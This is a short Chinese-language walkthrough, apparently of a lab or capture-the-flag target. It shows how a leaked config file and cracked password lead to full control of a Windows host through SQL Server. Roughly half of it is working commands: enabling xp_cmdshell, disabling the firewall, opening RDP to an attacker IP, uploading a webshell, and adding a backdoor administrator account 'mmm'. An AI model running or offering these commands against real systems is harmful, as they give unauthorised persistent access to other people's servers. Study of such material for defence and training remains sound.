数据库提权
exec sp_configure 'show advanced options' 1;reconfigure;
exec sp_configure 'xp_cmdshell' 1;reconfigure;
exec master..xp_cmdshell 'D:/pte/3389.exe';
exec master..xp_cmdshell 'netsh firewall set opmode disable'; 关闭防火墙
exec master..xp_cmdshell 'netsh firewall set portopening tcp 3389 telnet enable custom 'your_ip';
enable
拿到IP,先进去看看,发现啥都没有
上nmap和御剑扫一下端口
没扫到啥新鲜的端口,去8080端口看看
是个登录框,试了试弱口令什么的都不行,上御剑扫一下目录
发现一个www.zip,进去试试
发现一个config文件
拿到了数据库账号密码,登上去看看
拿到一个key,再找找
拿到管理员账号密码,从8080端口登进去看看
没登上去,发现密码是拿md5加密了,解密一下为 woaini521
成功登进去,拿到key
找了找其他地方看看有没有可以文件上传的点,发现都没什么用
于是去数据库提权试试,开启cmdshell
用cmdshell传一句话木马
访问一下看看
可以访问,也解析了,连蚁剑
传net.exe和3389.vbs
开启远程桌面
exec master..xp_cmdshell 'D:/oa/3389.vbs'
添加用户
exec master..xp_cmdshell 'D:/oa/net111.exe user mmm mmm /add';
添加用户到管理员组
exec master..xp_cmdshell 'D:/oa/net111.exe localgroup administrators mmm /add';
开启防火墙白名单
远程连接
成功远控